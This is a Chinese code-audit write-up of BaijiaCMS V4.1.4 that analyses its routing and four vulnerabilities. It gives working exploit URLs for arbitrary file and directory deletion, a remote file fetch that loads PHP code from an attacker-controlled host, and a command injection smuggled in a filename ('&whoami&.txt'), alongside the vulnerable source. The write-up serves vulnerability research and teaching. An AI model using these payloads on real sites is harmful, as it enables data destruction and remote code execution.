代码审计之百家cms微商城 V4.1.4

前言

百家cms微商城是一款免费开源的面向对象的单店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。

环境配置

下载源代码,查看配置说明:

新手入门:
1.安装成功后,登录的后台地址是:http://域名/admin.php
2.php环境推荐php5.5版本或更高版本。
3.配置教程在docs.zip中
PHP运行环境新手推荐工具下载地址:
http://www.apachefriends.org/download.html
图片[1]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

路由分析

首先随便访问一下网页,很明显不是直接访问文件地址的那种,只能先分析路由地址,要不然就算找到漏洞,没办法复现也没办法呀

举例:

http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../1.txt

这个是一个任意文件删除的地址

通过查看源代码结构,可以发现,主要的功能代码都在system路径下面,并且因为该cms存在移动端和网页版两种,所以class、template目录下分别有mobile手机端代码、web网页端代码。

这里的act参数代表system文件夹下某个功能点,do代表功能点下具体的PHP文件,op则代表文件走哪个分支

图片[2]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享
mod:类型选择  site | mobile  这个参数主要是对应移动端还是web端
act:具体执行的PHP文件  举例中的是uploader,也就是说是执行的是mobile下面的某个功能点目录下面的uploader.php文件
op:代表文件走什么分支  这里是remove 可以具体在后面分析中仔细体会
do:这个就是上面act执行php所在功能点的路径
file:这个主要传入的参数
图片[3]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

并不是每个命令都需要op和file,这个需要根据代码查看

1、任意文件删除漏洞

PS:

1)不需要后台权限;

2)只能删除文件,不能删除文件夹。

漏洞复现:

(1)在网站根目录下创建test.txt

图片[4]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

访问payload:

http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../1.txt
图片[5]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享
图片[6]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

成功删除test.txt文件

漏洞审计:

因为是文件删除,这里我们直接搜索关键词unlink

可以发现includes\baijiacms\common.inc.php文件中存在相关unlink函数

function file_delete($file_relative_path) {

	if(empty($file_relative_path)) {
		return true;
	}
	
	$settings=globaSystemSetting();
	if(!empty($settings['system_isnetattach']))
		{
				if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
			$ftp=new baijiacms_ftp();
		if (true === $ftp->connect()) {
			if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
				return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} 
		if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
		$oss=new baijiacms_oss();
		$oss->deletefile($file_relative_path);
		return true;
	}
}else
{
		if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
		unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
		return true;
	}
	
	}
	return true;
}

关键点函数:

{
		if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
		unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
		return true;
	}

因为这里并没有什么判断,直接就拼接了参数$file_relative_path,跟踪一下该函数,直接通过函数file_delete传入即可

现在就只需要查找哪里应用了这个函数即可,可以跟踪到system\eshop\core\mobile\util\uploader.php有调用该函数

 elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}

只要$operation == 'remove',然后传入file参数就可以啦

二、任意文件路径删除漏洞

PS:

1)需要后台权限;

2)只能删除文件夹。

漏洞复现:

(1)在网站根目录下创建test文件夹

图片[7]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

(2)将id参数进行base64编码,访问payload:

http://127.0.0.1/baijiacms/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1
图片[8]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享
图片[9]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

成功删除test路径

漏洞审计:

类似于上面的任意文件删除,这里需要关注的函数是rmdir

存在该函数的位置在includes\baijiacms\common.inc.php

function rmdirs($path='',$isdir=false)
{
	    if(is_dir($path))
	    {
	            $file_list= scandir($path);
	            foreach ($file_list as $file)
	            {
	                if( $file!='.' && $file!='..')
	                {
	               		if($file!='qrcode')
	               		{
	                    rmdirs($path.'/'.$file,true);
	                  }
	                }
	            }
	            
	    	if($path!=WEB_ROOT.'/cache/')
	    	{
	            @rmdir($path);   
	               
	      }    
	    }
	    else
	    {
	        @unlink($path); 
	    }
	 
}

存在 调用关系的文件为:system\manager\class\web\database.php,相关函数

				 if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
		}
}

这里可以看见只需要将id进行base64加密,然后作为参数传进来即可 进行删除功能

三、远程文件上传漏洞

PS:

  1. 需要后台权限;
  2. 将开启web服务的虚拟机当作远程服务器。

准备:

开启web服务的虚拟机IP:192.168.222.128

漏洞复现:

(1)在根目录下创建test.php,文件内容为

图片[10]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

(2)访问payload,得到文件路径

http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://192.168.222.128:8000/test.php
图片[11]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

(3)访问文件路径,执行代码

图片[12]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

漏洞审计:

存在该函数的位置在includes\baijiacms\common.inc.php

function fetch_net_file_upload($url) {
	$url = trim($url);
	

	$extention = pathinfo($url,PATHINFO_EXTENSION );
	$path = '/attachment/';
	$extpath="{$extention}/" . date('Y/m/');

		mkdirs(WEB_ROOT . $path . $extpath);
		do {
			$filename = random(15) . ".{$extention}";
		} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
	
	
	
	$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
		$file_relative_path = $extpath. $filename;
	if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
		$result['message'] = '提取失败.';
		return $result;
	}
		$file_full_path = WEB_ROOT .$path . $extpath. $filename;
	return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}

可以发现只是对url参数进行trim过滤,也就是过滤空格等,没有对其他文件内容,地址进行校验

查看函数调用的位置 system\public\class\web\file.php

if ($do == 'fetch') {
	$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
	if (is_error($file)) {
		$result['message'] = $file['message'];
		die(json_encode($result));
	}
	
}

接下来构造连接就可以了,mod=site,do=file,m=public,op=fetch,url=192.168.222.128:8000/test.php

http://127.0.0.1/baijiacms/index.php?mod=web&do=file&m=public&op=fetch&url=http://192.168.222.128:8000/test.php

四、远程命令执行漏洞

PS:

1)需要后台权限。

漏洞复现:

(1)本地创建&命令&.txt格式的文件

图片[13]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

(2)访问payload,上传文件&whoami&.txt

http://127.0.0.1/baijiacms/index.php?mod=site&act=weixin&do=setting&beid=1
图片[14]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

(3)开启附件设置,不开启没办法执行

图片[15]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

(4)远程命令执行

图片[16]-代码审计之百家cms微商城 V4.1.4-渗透云记 - 专注于网络安全与技术分享

漏洞审计:

PHP文件上传函数主要用于将客户端传输的文件上传到服务器上。在PHP中,有两个核心函数可以实现文件上传功能,分别是move_uploaded_fileis_uploaded_file函数。

代码执行函数主要有

主要有(9个):eval(), assert(), call_user_func(), create_function(), array_map(), call_user_func_array(), array_filter(), uasort(), preg_replace()

系统命令执行主要有:

1、system
 string system(string command,int &return_var)

可以用来执行系统命令并将相应的执行结果输出

2、exec
 string exec(string command,array &outpub,int &return_var)

command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

注意:exec输出的是命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用passthru()函数。

如果想要获取命令的输出内容,请确保使用output参数。

3、passthru
 void passthru(string command, int &return_var)

command是要执行的命令,return_var存放执行命令后的状态值。

4、 shell_exec
 string shell_exec(string command)

command是要执行的命令。

5、``运行符
 与shell_exec功能相同,执行shell命令并返回输出的字符串。

6、ob_start
 bool ob_start([callback $output_callback[,int $chunk_size[,bool $erase]]])

ob_start:打开输出控制缓冲

存在system该函数的位置在includes\baijiacms\common.inc.php

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
	
	$settings=globaSystemSetting();
	
		if(!file_move($file_tmp_name, $file_full_path)) {
			return error(-1, '保存上传文件失败');
		}
		if(!empty($settings['image_compress_openscale']))
		{
			
			$scal=$settings['image_compress_scale'];
			$quality_command='';
			if(intval($scal)>0)
			{
				$quality_command=' -quality '.intval($scal);
			}
				system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
		}
	

接下来就是查看file_save函数

function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
	
	$settings=globaSystemSetting();
	
		if(!file_move($file_tmp_name, $file_full_path)) {
			return error(-1, '保存上传文件失败');
		}
		if(!empty($settings['image_compress_openscale']))
		{
			
			$scal=$settings['image_compress_scale'];
			$quality_command='';
			if(intval($scal)>0)
			{
				$quality_command=' -quality '.intval($scal);
			}
				system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
		}
	

继续跟踪函数file_save 存在调用文件system\weixin\class\web\setting.php

	$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
		$extention=strtolower($extention);
  	if($extention=='txt')
  	{
  		       $substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
  		       if(empty( $substr))
  		       {
  		        $substr="/";	
  		       }
           $verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
		   echo $substr;

  		//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
  		  		file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
  		  		
  		  		if($verify_root!=WEB_ROOT."/")
  		  		{
  		  			copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
  		  		}
  		  		
  		 $cfg['weixin_hasverify']=$file['name'];
  	}else
  	{
  	message("不允许上传除txt结尾以外的文件");	
  	}

大概就是上传txt文件,然后通过路径拼接漏洞进行任意系统命令执行

参考链接:http://blog.csdn.net/weixin_45663905/article/details/108026223

通过路由进行构造即可访问

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容